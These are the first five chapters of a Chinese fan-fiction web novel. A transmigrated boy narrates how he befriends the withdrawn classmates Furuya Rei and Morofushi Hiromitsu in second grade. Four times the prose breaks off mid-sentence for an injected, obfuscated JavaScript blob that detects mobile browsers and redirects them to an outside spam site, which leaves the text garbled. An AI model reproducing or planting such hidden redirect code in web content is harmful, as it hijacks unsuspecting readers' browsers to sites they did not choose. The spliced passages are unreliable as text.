《幼驯染二三事》 1. 第 1 章 第一章 我姓小林,全名是小林海斗,性别男,现年7岁,目前刚转到东京都目黑区津户町的四谷小学就读二年级。 今天是我正式上学的第一天。 我冷静地站在家门口。 噫吁嚱,我以前可从未想过自己有朝一日会穿越,而且还要在日本重读小学。 …… “小林君!”戴着小黄帽的波波头女孩站在栅栏门外,她背着双肩背包,笑容灿烂地朝我招手。 我从贫瘠的记忆中翻出她的名字。 麻生奈奈子,四谷小学2年A组的学级委员——也就是所谓的班长。 因为我刚转来,她此时肩负着带领我去上学的重任。 没办法,听父亲说是因为津户町这边以前出现过小学生走丢的情况,而且对方也是刚搬过来没多久。 有这样的前车之鉴,就算我说我绝对不会迷路也没办法拒绝这份好意。 这么想着,我熟稔地对麻生奈奈子念出我最熟悉的那句日语台词:“早上好。” “早上好!新的一天也要好好加油哦!”她兴高采烈地回应。 去学校的路上,麻生奈奈子非常热情地给我讲班里的趣事,我看得出来,她是想帮助我尽快融入班级中。 我认真地听着她说话,麻生奈奈子却在这时突然停住。 “说到班里的同学们……”她迟疑片刻,“有一位同学和小林君同路,但是他可能不太好相处。” 我:“嗯?” 只是二年级小学生,能不好相处到什么程度。 说实话,要是以后一直让麻生奈奈子绕路来接我真的有些不好意思,但这番好意我又不太好拒绝。 如果有人是和我顺路而不是特意来接我,至少能减轻我的一点不自在感。 抱着这样的想法,我主动问道:“他是谁?” “对哦,小林君你还不认识他。”麻生奈奈子扶了下她的小黄帽,解释道,“你昨天才来报道,降谷君刚好昨天请假!” 降谷?听起来有点耳熟。 在我尝试旁敲侧击打听一些关于“降谷君”的消息时,麻生奈奈子又提起另一件事情。 她神秘兮兮地对我说:“而且小林君不需要觉得孤单,听说过几天还会有一个转校生来哦~!” 还有一个转校生? 我的好奇只维持了一瞬,不管转校生是谁,只要不是什么知名漫画主角,那她/他对我接下来的生活就没什么影响。 一路聊着天,我们很快抵达了四谷小学的校门口。 “快看!”麻生奈奈子突然拽住我的衣服袖子,她压低声音,“那就是降谷君!” 我顺着她指的方向看过去,终于看到了那位素未谋面的同班同学——的背影。 小麦色的皮肤,以及怎么看都不像是亚洲人的浅金色短发。 只是盯着他看了两秒钟,他就像是察觉到了什么一样转头,警觉地朝我们这边看过来。 降谷和我们隔着一段距离,他肯定听不到我们在说什么,但还是用看起来就很凶的目光狠狠瞪了我们一眼。 “呜哇!” 麻生奈奈子立刻抓紧我的袖口,就差整个人缩到我身后了。 目送着降谷走进校门,我眨了下眼。 这位降谷君好像…确实有些不太好相处? …… 我没打算放弃和降谷君的友好交流,按照(我看动漫的)经验来讲,金发凶巴巴的家伙有很大可能是傲娇。 不过我没想到机会来的这么快。 沉默着在位置上放下书包,我忍不住多看了几眼坐在我前面,正绷紧嘴角用橡皮用力擦桌子的降谷。 “你看我做什么?”大概是实在受不了我存在感极强的视线,他忍无可忍地转过头看向我。 这时候我才看清楚降谷的正脸,也看到他脸上贴着的创口贴。 “放学后要一起回家吗?”我友好询问。 是的,我是来邀请他顺路回家的。 “……” 一时没得到回应,我还在思考是不是我没有说清楚,正犹豫要不要放缓语速再说一遍的时候,降谷才开口。 “为什么?”他紧皱眉头。 我谨慎地说出实话:“因为我们顺路。” “……就这样?” “就这样。” 降谷又皱起眉:“分组是老师决定的,你不用问我。” 四谷小学会把顺路的学生分到一组去? 这么看我根本不用专门来邀请降谷,只需要乖巧等着老师把我们俩分到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883078|191989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一组,然后以‘我和降谷同学一起回去就可以了谢谢你麻生同学’为理由感激地婉拒麻生奈奈子的好意。 看着降谷警惕的神色,以及他脸上贴着的已经有一角微微翘起的毛糙创口贴,我突然想起麻生奈奈子对他的评价。 不太好相处吗? “我当然知道,只是提前邀请的话更礼貌,而且我也很希望能和降谷君好好相处。” 降谷盯着我看了一会儿,最后十分勉强地回答:“……随便你。” 态度说不上很好,但也不算太差。 他说完后就又开始擦桌子,我就坐在他后面,忍不住好奇地瞄了一眼。 桌子上写的都是日文。 说实话,我现在的日文水平基本上算是个半文盲。 会听会说,但看不懂。 看着那些歪歪扭扭小学生笔迹,我只能从一句话中辨识出“父親”和“男”,而这两个词之间则全是各种平假名。 按理来说我只要在心里默念出平假名的读音就能知道这句话的意思,但我还不怎么熟练,辨识一个平假名需要时间。 降谷意识到我在看的时候就立刻用胳膊遮挡住那些还没完全擦干净的字迹。 他没说话也没有转头看我,只是紧绷着身体,死死拽住他自己的袖子,用力到指尖都开始泛白。 “……” 我收回目光,假装自己刚刚什么也没有看到,低下头从书包里掏出国语课本。 等用余光确认他已经擦干净桌面,我才抬头。 “降谷君,能借我一支笔吗?”我装作无事发生的样子,“我今天出来太匆忙,忘记带笔了。” 其实我带了,但我总觉得如果我不说点什么打圆场,他就会一直保持着这种僵硬的气氛和我僵持。 降谷没回答我。 过了一会儿,一支铅笔悄无声息地出现在我桌子前端。 “谢谢,降谷君。” “……” 没得到回应,意料之中。 我拿起那支铅笔,一眼就看到笔杆上面贴着的标签。 「降谷零」 字迹一笔一划,看得出来他在写的时候很认真,工整之余还带着小学生独有的圆润和稚嫩感。 ——原来降谷君的全名是降谷零。 2. 第 2 章 第二章 事情进展的很顺利,午休的时候我从老师那里得到了分组信息。 我和降谷零确实是一组,组内还有一些会在中途离开队伍的同学——他们家离学校很近。 降谷零家是最远的,也就是说他会一直同路直到我抵达家门口。 很好,万事俱备只欠放学。 …… 下午三点十分,我就跟降谷零一起站在了四谷小学的校门口。 我知道日本公立小学放学很早,但没想到放学会这么早,再加上我们现在还没到报补习班的年纪,现在就可以直接回家了。 在和降谷零面面相觑了一秒后,我叹气:“今天放学真早啊。” “……?”降谷零显然没听懂我的感慨,他皱眉提醒我,“今天有六节课。” 请不要再提醒我今天其实是放学最晚的一天了,我真的会心痛。 告别了站在校门口相当于是班主任的早稻田老师,我和降谷零沿着斑马线走过马路。 很奇怪,虽然严格意义上几乎没有和我顺路的同学,但差不多能一起走一小段距离的同学还是有的…… 我用余光瞄了一眼周围,放学的小孩子们叽叽喳喳地凑在一起,看起来和往常没什么区别。 除了我好像被他们无视了以外。 “走路看路。”我感觉到袖子传来一股拉力,转头一看发现是降谷零在拽我的袖口,确定我把注意力转回马路上后他才松开手,“过马路要举手,早稻田老师还在后面看着你。” 我:“……谢谢?” 降谷零没有再说什么,他举着手继续往前走,书包旁的红色挂件一晃一晃。 他似乎自带孤僻气场,独自一人的背影在都是成群结队交头接耳的小学生堆里格外明显。 我站在原地愣愣地看着即将消失在人群里的降谷零,被人推挤了一下才猛地反应过来,连忙追上去。 在回家的路上,我试图挑起话题活跃气氛,但降谷零对此兴趣缺缺,总是沉默听着,偶尔才会回应一两句。 走到我家门口的时候,降谷零脚步没停,他很干脆地拒绝了我明天一起去上学的邀请。 我疑惑地目送着降谷零往前走的背影——小孩子真的很难懂啊。 “明天见,降谷君。” “……明天见。” 道别后,我怀揣着困惑回到家,听到我拖着嗓音说我回来了的父亲从厨房探出半个身子,扬起眉毛问我在学校过得怎么样。 “还不错。” 就是最后有些微妙,我果然应付不来一切需要社交的环境。 在日本职场都能如鱼得水的父亲目光落在我的脸上,也许他猜出了什么。 “那就好。”父亲没有继续追问,他语气温和地转移话题,“今天是你第一天去学校,晚上想吃什么吗?我来做饭。” 我沉默了。 不要因为绪美女士现在远在国外就擅自下厨啊,厨房杀手先生。 …… 今天是水曜日,星期三。 当我到班里的时候,我发现前面的座位上空无一人。 我看看墙上的钟表。 今天八点二十五有早会,但现在都快到时间了降谷零还没来。 难道是请假了? “海斗君。”早稻田老师走进班里,他站在讲台上笑眯眯地冲我招手,“今天的早会是你主持,准备好了吗?” “准备好了,早稻田老师。” 我站起身,走到讲台边缘的位置。 其实也没什么好准备的,四谷小学的早会一般是点名,然后介绍今天一天都要做什么,最后再给同学们加油鼓劲。 这么快就轮到我大概是因为我刚转来没多久,早稻田老师希望我能尽快融入班集体。 在讲了一遍今天的课程和值日生人选后,我说出结束语:“新的一天,请大家和我一起加油,也别忘了要和同学们……” 这时,我无意间瞥见了立在前门旁的垃圾桶,这个角度刚好能让我看到垃圾桶底部。 垃圾桶很空,只有一个熟悉的红色挂件安静而孤独地躺在那里。 我一顿:“……友善相处。” 我清楚地记得,昨天下午放学的时候它还好好地挂在降谷零书包的侧边拉链上。 早会在同学们热烈的掌声中结束了。 等到课间,我悄悄把垃圾桶里的挂坠捡了回来。 这是一个像是假面骑士题材角色的迷你模型。 不知名假面骑士的全包式头盔像是一个红色独角仙,只不过那个独角不知道被谁折断了,一蹶不振地歪倒在一侧。 接下来一整天我都没有见到降谷零,但我知道他肯定来过,不然这个挂件怎么可能出现在学校? 放学后我去办公室找早稻田老师,他一边给我的「印章收集」表格盖章一边回答我的问题:“零君吗?他今天请假了。” 早稻田老师把盖完章的表格递给我,说道:“下次要课间休息或者午休的时间来找其他老师盖章哦,记得要说什么吧?” “记得。”我点头,“我是2年A组的小林海斗,初次见面请多多指教。” 早稻田老师也笑着给出回应:“我是2年A组的担任,早稻田良平。可以喊我早稻田老师,遇到什么问题欢迎来找我。” 嗯,打卡成功。 拒绝了早稻田老师送我回家的提议后,我将表格叠好装回书包,独自走出校门。 “小林君!”麻生奈奈子看到我走出来,眼睛一亮,她兴高采烈地小跑过来,“我还以为你已经走了,今天降谷同学不在,所以我送你回家吧!” “他今天没有来吗?”我问。 提到降谷零,麻生奈奈子有些不高兴:“早上的时候降谷同学来了,他和石本同学还吵起来了。” “为什么?” “因为石本同学把降谷同学的假面骑士玩具扔到了垃圾桶里,还说他是沃雷姆。”麻生奈奈子向我告状,“他们两个都好过分!” “沃雷姆?” “咦,小林君不知道沃雷姆吗?最近的假面骑士凯洛超级好看!沃雷姆就是坏人们的名字,它们一直隐藏在我们身边,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883079|191989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会被凯洛和他的伙伴们揪出来打败!” 啊,理解了。 沃雷姆是假面骑士凯洛这部特摄剧对怪物的统称,而且这种怪物会伪装成普通人。 在麻生奈奈子的描述里,我姑且能想象得出当时的情况。 作为一个有责任感的学级委员,麻生奈奈子上前阻止了欺负同学的石本智一郎,然后把垃圾桶里的假面骑士玩具捡起来擦干净想还给降谷零。 但矛盾没这么容易解决。 “我当时安慰降谷同学,说玩具被扔掉不是降谷同学的错,也不是假面骑士的错,不需要因为石本同学的错误而放弃自己最喜欢的东西……” 麻生奈奈子气鼓鼓地说:“结果降谷同学特别凶,他从我手里抢走假面骑士,又把它丢进垃圾桶,还超级大声地说他不喜欢假面骑士也不需要这个玩具——然后就推开我跑掉了。哼,我果然最讨厌男孩子了!” 我:“……” “不过小林君是很温柔的人,所以我一点都不讨厌你哦!”她眨了下眼,补充道。 看着单纯直率的小女孩,我无奈点头:“谢谢,我也很喜欢热情友善的麻生同学。” 我是指单纯朋友意味上的喜欢。 听完麻生奈奈子的讲述,我突然觉得大部分小朋友会有‘降谷零很不好相处’这个概念是一件正常的事情。 四谷小学每年都会重新分班,给家长的理由是为了让孩子们多交朋友,因此2年A组的大部分同学其实都没有认识多久。 而从表面来看,降谷零也确实不太好相处。 可是这并不是降谷零的错,他分明是受害者。 我叹了口气。 ……至少,帮降谷零把他的东西修好,然后想一个委婉的方法还回去吧。 抱着这样的想法,把书包放到家里后我就拿着那个假面骑士迷你模型走出门。 我走进了一家玩具店。 “金发的小孩子?”老板听完我的描述立刻就想起来了,这特征确实很明显,他摸摸下巴,“确实有这么一位小朋友来买过扭蛋,他好像是第一次来,还让我给他介绍一下这里的玩具种类呢。” 在老板的印象中,降谷零是一个很奇怪的小学生。 他对所有玩具都兴趣缺缺,唯独听到老板随口提起假面骑士在小学生群体里很受欢迎的时候,他才瞪圆眼睛,像是发现新大陆一样接过老板递给他的扭蛋图鉴。 “他还问我哪一位假面骑士最受欢迎。” 老板拿出一份已经有些褪色的图鉴纸,他似乎展示给很多孩子看过,上面有很明显的褶皱痕迹。 他笑呵呵地说道:“我说就是这个,假面骑士凯洛,他在小孩子里特别受欢迎,我家那个臭小子天天都和同学讨论他,而且周末不管多困都一定会早早起床收看节目呢!” “假面骑士凯洛……啊。” 接过老板递过来的图鉴时,我怔了一下,然后再也没办法让自己移开目光。 最受欢迎的假面骑士摆着张扬肆意又确实称得上帅气的姿势,头盔顶部的红色独角傲然挺立。 3. 第 3 章 第三章 被勉强粘好的红色假面骑士最终在我房间的书桌住下。 写家庭作业的时候,那些麻生奈奈子和玩具店老板告诉我的关于降谷零的事情一直在我脑海里循环播放。 第二天放学。 降谷零去了趟教师办公室,回来就看到整个教室只剩下我一个人。 他下意识看了眼值日生名单,然后皱着眉转头问我:“你怎么还没走?清扫当番还没轮到你。” “石本同学说他临时有事,把清扫工作拜托给我了。”我叹了口气,装作很为难的样子。 事实上,石本智一郎并没有让我替他打扫卫生。 他只是理所当然地跟他朋友说了句“今天清扫当番是我和降谷那家伙,我们直接回家吧”,然后就把这件事抛之脑后了。 我是主动留下想帮忙的。 这件事还是不要告诉降谷零比较好,这样直白的同情无疑是一种二次伤害。 面对我的解释,降谷零匪夷所思:“你没有拒绝?” “……呃,他看起来有急事?” 比如急着去朋友家里打电动。 降谷零盯着我看了一会儿,我坦然回视。 “……下次这种事情你应该拒绝他。”他移开目光,“这次就算了,等值完日我可以送你回去。” “十分感谢。”我镇定地给出回应,“帮大忙了,我刚刚还在发愁要怎么回去。” 降谷零嘴角上扬,但他很快又板起脸,迅速地瞄了我一眼,可能是想确定我有没有看到他刚刚的表情。 “我们分工合作,降谷君负责擦黑板?”我装作没看见,“我先去倒垃圾。” “……嗯。” 值日顺利结束。 回家的路上,我加快脚步走到降谷零旁边:“降谷君。” “什么?”他有些心不在焉。 “我家到了。”我指指旁边围墙上那块写着小林二字的表札,“如果可以的话,我想邀请你明天跟我一起上学。” 降谷零:“……为什么?” 我一本正经地给出我认为最完美的回答:“因为我不想麻烦麻生同学绕远路接我,这会让我感觉很不安。班里只有降谷君离我家最近——我知道这样的要求可能会让降谷君为难,但我还是很需要降谷君的帮忙,拜托你了。” 绝招,对日本人特攻的不安です。 降谷零皱着眉,我看得出来他在犹豫,都说到这份上了应该不会有什么问题了吧? 果然,二次元金发多傲娇这句话就应该被奉为真理—— “不行。” 我:“……” 我:“?” 真的假的。 我能理解降谷零这份强烈的戒备心,不过居然抵触到这种程度…… 难道是一开始站在麻生奈奈子旁边观察他的时候给他留下了不太好的第一印象? 当时的降谷零听不到我们在说什么,可能会认为我们在说他坏话。 我默默看着降谷零离开的背影,然后转身走进家门。 任重而道远啊。 …… 第二天,我早早地等在自己家门口。 这次我做好了万全的准备,甚至在昨天晚上拜托父亲给麻生奈奈子家打了一通电话,解释说今天就不麻烦麻生同学绕远路来接我了。 我盯着道路尽头的方向。 没过一会儿,我就看到降谷零远远走过来的身影,他低着头,百无聊赖地用脚尖踢走了路边的一颗小石子。 等他走近一些我才开口:“降谷君,早上好。” 降谷零被我突然出现的声音吓了一跳。 他显然没料到我会做出这种守株待兔的事情,下意识后退两步才瞪圆眼睛:“你——” 我赶在他这句话说出口前打断他,睁眼说瞎话:“没想到会在这里刚好遇到降谷君,好巧啊。” 降谷零买了他并不感兴趣的假面骑士迷你模型,这本应该意味着他渴望被同龄人接纳,但他本人却又矛盾地三番两次拒绝我靠近。 他似乎并不愿意让‘想要被同龄人接纳’这个想法暴露在任何人的面前。 人之常情。 坦白来讲,降谷零其实没办法保护他自己不受伤,再怎么说他现在也只是个七岁的小学生,被同龄人排挤怎么可能不难过。 打架也好,强调他更喜欢独自行动也罢—— 我想,这么做更多是为了让其他人相信他不在乎这些,让其他人相信他完全不会因为被排挤被歧视而受伤。 这么想着,我假装忐忑地抬头看他一眼:“那个,不可以一起上学吗?” “不许偷偷跟着我!”降谷零僵硬片刻才凶巴巴地对我说。 我眨眨眼:“……好的。” 懂了,可以光明正大地跟着他。 …… 后来,降谷零几乎算是默许我在上下学的时候故意偶遇他,并跟在他身后踩影子了。 但也仅限于此。 又过了几天,在新的月曜日到来时,我后面被誉为“王之故乡”的宝座终于迎来了它的主人。 ——名为诸伏景光的转校生。 “大家要和景光君好好相处哦,”站在讲台的早稻田老师将手搭在诸伏景光的肩膀上,他特意强调,“绝对不可以欺负同学。” 在早稻田老师的说明下,我才知道这位新转来的学生目前因为某些特殊情况而患有失语症。 这意味着这个班里比我还要寡言少语的家伙出现了。 “景光君坐到海斗君后面吧,海斗君,麻烦举一下手。”早稻田老师说道。 我举起手。 下课后,出于礼貌,我转身对诸伏景光友好地打了声招呼:“你好,我是小林海斗。” 诸伏景光眨了下眼,他用手对我比划了一下。 我:“……” 糟糕,我看不懂手语。 发现我满脸茫然的诸伏景光也意识到了不对,他打开书包拿出一个本子,低头在上面写了什么,然后翻转过来给我看。 【はじめまして、諸伏景光といいます。】 我再次陷入沉默。 抱歉诸伏同学,在你写下的这一连串日文里,我目前只认出了四个汉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883080|191989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字——諸伏景光。 你等等,让我努力辨识一下这些平假名。 在沉默时,我余光瞥见诸伏景光搭在本子旁侧的手指蜷缩了一下,脸上的笑容也变得勉强起来。 啊,糟了。 我后知后觉地反应过来,这么长时间的沉默肯定是让他误会了什么。 这可不行。 行动快过思考,我想都没想就一把拽住从我旁边路过的降谷零。 降谷零的目光在我和诸伏景光之间转了一圈,然后才问:“怎么了?” “降谷君,”我指指诸伏景光的本子,“你能帮我念一下上面的日文吗?” “抱歉,我只是看不太懂日文。”我不忘给诸伏景光解释了一下,相当坦然,“这不是你的问题,是我没有好好学国语的错。” 诸伏景光也被我这番发言搞得愣了一下,他没来得及收回本子,降谷零顺势看了眼上面的日文,念道:“初次见面,我是诸伏景光。” 这回听懂了。 我立刻恢复镇定,转回头对诸伏景光说道:“初次见面,请多关照。” 站在一旁过道上的降谷零有些不自然,由于我还拽着他的手腕,他只能保持着一个想走又不能走的尴尬状态。 等我反应过来准备松开手的时候,降谷零闷闷地说:“……我是降谷零。” 能听出他有些别扭,但态度却意外地没有很差劲。 ……欸? 我看看诸伏景光,又看看降谷零,随后突然意识到了什么。 这么看,我好像搞错了和降谷零相处的方法。 我迟疑地心想。 值日那天他对我表现出了相对友好的一面,也许更多是因为在降谷零眼里,当时的我是被同班同学欺负的弱势群体,我在需要他。 这会给他带来那种‘小林没办法伤害到我’的安全感—— 就像现在面对诸伏景光一样? 在我想这些事情的时候,诸伏景光已经往本子上写了新的文字:【ありがとう】 这回不用我说,降谷零就主动念了出来:“谢谢。” 我回过神。 诸伏景光写字速度还挺快,他该不会是提前就演练好了要写什么,所以才下笔如此流畅——明明其他同龄人能写对平假名就不错了。 这么想着,我和降谷零异口同声地回答:“不客气。” “……” “……” 我和降谷零面面相觑。 诸伏景光似乎没料到会出现这一局面,他看看我,目光在降谷零那边多停留了一秒,随后像是遮掩什么一样再次低头写字。 没过多久,诸伏景光就捏紧笔记本边缘,他将本子第三次翻过来,谨慎地挡在他脸前。 在‘谢谢’那句日文底下,又出现了一行新的文字。 【ありがとう】 【小林さんと降谷さん】 很好,我看懂了最关键的部分。 据说在日本只要认识和会写自己的名字就不算文盲,所以我决定开除自己的文盲籍。 把这份荣誉让给更需要它的人。 4. 第 4 章 第四章 转来2年A组的当天上午,诸伏景光安静地坐在位置上。 课间有同学来找他搭话时,他都会拿出写字本和对方进行交流,但我注意到—— 诸伏景光完全没有主动和别的同学交流过。 面对一切事情诸伏景光都显得被动而消极,他更像是有意把自己孤立出来。 就像现在,他就坐在我后面的位置上,除了窸窸窣窣的写字声就是轻微的呼吸声,安静得要命。 我:“……” 降谷零是被班里的其他同学们孤立,而诸伏景光更像是孤立了我们所有人。 我感到深深的费解。 小孩子都这么难懂吗? 这次我没忍住,扭头开启了我们之间的第二次谈话:“诸伏君。” 手里还握着笔的诸伏景光抬起头,他看向我,安静地等着我的下一句话。 我一卡壳,突然不知道要怎么展开话题了。 说起来,降谷零是金发和紫灰色的眼睛,如果这可以用他可能是混血儿来解释的话,那诸伏景光作为纯正的亚洲人——他眼睛居然是非常透亮的蓝色。 这里果然是二次元的世界。 正常世界哪有这么多花里胡哨的配色? “你眼睛很好看,像是动漫角色一样。”我说。 诸伏景光愣了一下。 他看看我,随后把笔记本翻到某一页。 上面是已经写好的一句话。 【ありがとう】 ——谢谢。 “不客气。”我下意识回答。 似乎是从我这句话里得到了什么‘对话可以到此结束’的暗示一样,诸伏景光对我点点头。 他重新低下头,继续安静地翻看国语课本。 这大概算是一种无声而委婉的拒绝。 我心情复杂地转过身。 前面的降谷零埋着头也不知道在做什么,看起来完全没注意到刚刚我和诸伏景光的对话。 明明是课间,班里的同学们吵吵闹闹,唯独我这里安静地像是被孤立了一样。 我:“……” 如果有其他班不知情的同学路过班级门口,说不定会误以为我是这个班人缘关系最差的人。 生而为穿越者,我很抱歉。 话说,这个世界应该有太宰治吧? 我是指没有超能力的那位原生态太宰治。 …… 今天一整天,我都在悄悄观察诸伏景光。 这其中也有好奇心在作祟的缘故。 如果诸伏景光性格普通开朗,我反而不会太在意,但他的情况过于特殊,很难不多留意几分。 放学前,我找到早稻田老师,表示自己想知道诸伏景光家的位置,如果顺路的话我可以把他送回家。 听到我的来意,早稻田老师顿了顿:“海斗君最近是和零君一起回家的吧?” “是的。” 他叹了口气,委婉又不容拒绝地告诉我:“不用担心,奈奈子同学会送他回去。” 没有用不同路来拒绝我,也就是说诸伏景光家确实和我们顺路。 那为什么要拒绝这个提议? 今天的观察让我隐隐约约意识到,诸伏景光似乎是那种不想给别人添麻烦的类型。 也许就是因为面对迁就他写字交流的同班同学时诸伏景光会感到不自在,所以他才从不主动去和其他同学交流。 让麻生奈奈子送他回家,也会给他带去不安吧。 诸伏景光肯定也不好意思拒绝老师和同学的这份好意。 “好的,我知道了。” 在早稻田老师眼中我只是一个小学生,我也没办法反驳什么,只能礼貌和他告别回到教室。 隔老远我就看到降谷零靠在教室门旁边,他看到我回来后眉头稍微松开了一些。 降谷零把他帮忙提在手里的书包塞给我,狐疑地问:“刚刚早稻田老师有找你吗?” “嗯。”我没有说自己过去的真正目的,接过书包,“抱歉,现在我们可以走了。” 回家的路上,我一直在思考一个问题。 早稻田老师为什么在诸伏景光和我们顺路的情况下拒绝我们一起回家的提议? 他明明也认同了我和降谷零组成回家小队。 “你今天放学后就一直很奇怪。”旁边的降谷零目光落到我身上,他问,“早稻田老师和你说了什么?” “没有。”我摇摇头,从刚刚的问题中回过神,“我只是在想诸伏君的事情,降谷君觉得他是个什么样的人?” 降谷零将目光转回前面。 不知道为什么,他对这个话题隐隐有些抵触:“……不知道。他今天才转过来,我和他又不熟。” 在察觉降谷零的态度后,我突然意识到情况有些不对。 首先,我可以肯定我和降谷零是普通的同路同学关系,而我们又只认识诸伏景光不到一天,他不可能因为谁而对另一个人吃味。 其次,降谷零不知道诸伏景光和我们其实也同路,也不知道早稻田老师出于某种原因没有让诸伏景光跟我们一起回家。 最后,降谷零不可能讨厌诸伏景光。 在旁观者视角的我看来,降谷零有一种英雄主义和保护弱小的心态,他对弱势的一方确实会变得态度好点,而这些条件诸伏景光全都完美符合。 我想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883081|191989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出有什么理由能让他讨厌诸伏景光。 他们刚见面的时候不是相处得很和谐吗? “明天见。” “明天见,降谷君。” 站在家门口目送降谷零继续往前走,我两眼放空。 都说了,我其实不擅长社交,更不擅长应对这样的小孩子。 ——所以这到底是什么情况? …… 这个困惑在隔天得到了解答。 日本小学没有食堂这种东西,吃饭都是在教室里把桌子拼起来和朋友或者周围人一起吃。 午餐时,我试探地邀请诸伏景光一起拼桌。 在他低头往写字本上写什么的时候,已经把桌子推好的降谷零走过来。 “你还没拼好吗?” “啊,马上就来。” 只是说个话的功夫,等我再次转回头,诸伏景光已经合上了写字本,似乎没有要把他写的内容展示给我或者降谷零看的意思。 我:“……?” 奇怪,他刚刚确实是在写什么吧? 接下来,我没看出诸伏景光的表现有什么异常,他相当配合地将桌子推过来。 吃饭的时候我被降谷零和诸伏景光夹在中间。 按照往常的相处经验,我其实能和两个人找到共同话题,至少让气氛不要那么尴尬。 然而,三个人坐到一起后,那种若有似无的凝滞感就更严重了。 我:“……” 两个和尚挑水喝,三个和尚没水喝。 这一刻我清晰地认识到,问题根源不是出在我身上,而是出在诸伏景光和降谷零两个人身上。 我心不在焉地把花椰菜塞进嘴里,用余光偷偷看向两人。 右手边的诸伏景光低头认真地扒拉米饭,左手边的降谷零则在皱眉喝牛奶。 怎么都好,就是没有要聊天的意思。 我默默收回目光。 话说,诸伏景光刚转学过来,却在认识降谷零后对他表现出这种——怎么形容呢,说冷淡有些夸张,但说礼貌又有些不太形象。 总之,他在避免和降谷零发生更多的交流。 降谷零大概也察觉到了这一点。 在这种方面,他总是很敏锐。 仔细回忆之前的接触,我没有察觉到有什么不妥,诸伏景光昨天才转过来,降谷零和他也只是认识了一天。 该怎么处理这种社交问题,我完全没有头绪。 也许他们本来能成为朋友的,难道是我昨天做错了什么?接下来怎么办?如果我贸然插手,情况会不会变得更严重? 怀揣着这样踟蹰不前的忧虑,我犹豫着,最后选择了静观其变。 5. 第 5 章 第五章 静观其变的期间,我察觉到了另一件事。 其他人对待诸伏景光的态度出现了微妙的变化。 刚开始,大家对待患有失语症的诸伏景光都格外耐心和热情,但在那种新鲜感过去后,就很少再有人主动找他聊天了。 今天午休,诸伏景光去完成他的「印章收集表」,降谷零也不在班里,我一个人坐在位置上看图画书。 “喂,你说他是不是真的一直都不能说话啊?” 听到这个关键词,我抬头看向正在聊天的两个人。 他们都是班里的同学,一个叫岩本尾亮一个叫栗田坂治。 提起这一话题的是栗田坂治。 “你是说景光?”岩本尾亮后知后觉地反应过来,“老师都说他不能说话了,肯定是真的吧。” 哎,无论待多久我都适应不了低年级小学生有时候会互相喊名字的情况。 明明没有熟悉到那种程度。 “万一他骗了早稻田老师呢?”栗田坂治反驳,“而且人怎么可能没办法说话?要我说,只要吓唬他一下,他肯定会喊出声的!” 他越说越兴奋,俨然是对他这番毫无逻辑的理论深信不疑。 “是这样吗?”岩本尾亮迟疑,但他也表示赞同,“确实,发出声音这种事情为什么会做不到,好奇怪……” 我合上手里的图画书。 早稻田老师再三声明诸伏景光没办法说话,但根本没有社会经验和常识的7岁小学生果然很难理解这件事。 这超出了他们的知识范围,是反直觉的。 就像是高等数学对大学生一样。 “你们其实是想帮助诸伏君恢复声音吧?”我友好地问道,“岩本君和栗田君果然都是非常热心的好人呢,就像是早稻田老师说的那样。” 突兀被我插入话题,栗田坂治愣了一下,他侧头看向我:“啊?” 我耐心地重复了一遍刚刚的话,并重点强调了早稻田老师曾夸过他们——这也不算说谎,早稻田老师夸过班里的所有学生。 “那是当然!”栗田坂治有些得意地抹了下鼻子,“我刚刚就在和尾亮讨论这件事!” 看来得到老师的认可确实是现在小学生们心里的最高荣誉。 “嗯,我确实有听到。”我点点头,“大家都只是普通地和诸伏君交流,栗田君是第一个想着能不能让诸伏君重新开口的人,好厉害,我之前也完全没想过这方面。栗田君真的很善良,也愿意付出行动去关心同学。” 说完了栗田坂治一定很想听的夸奖,我又再次对他计划表达了认可,随后诚恳地说道:“计划是很棒,但要是诸伏君被吓到也依旧没有出声,他一定会更加沮丧,这就和栗田君的初衷不符了。栗田君的心意如果没办法一次成功,第二次的效果就会大打折扣。” 